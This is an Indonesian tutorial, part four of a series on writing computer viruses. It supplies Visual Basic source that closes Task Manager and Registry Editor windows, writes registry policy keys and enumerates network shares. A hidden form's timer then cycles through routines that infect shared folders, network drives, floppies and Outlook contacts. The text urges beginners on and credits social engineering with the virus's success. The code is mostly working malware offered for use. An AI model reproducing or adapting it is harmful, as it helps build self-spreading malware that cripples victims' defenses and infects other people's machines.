Teknik Pembuatan Virus Komputer Park 4

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long

Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function

Lampiran B

‘Form ff

Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer

Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub

Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub

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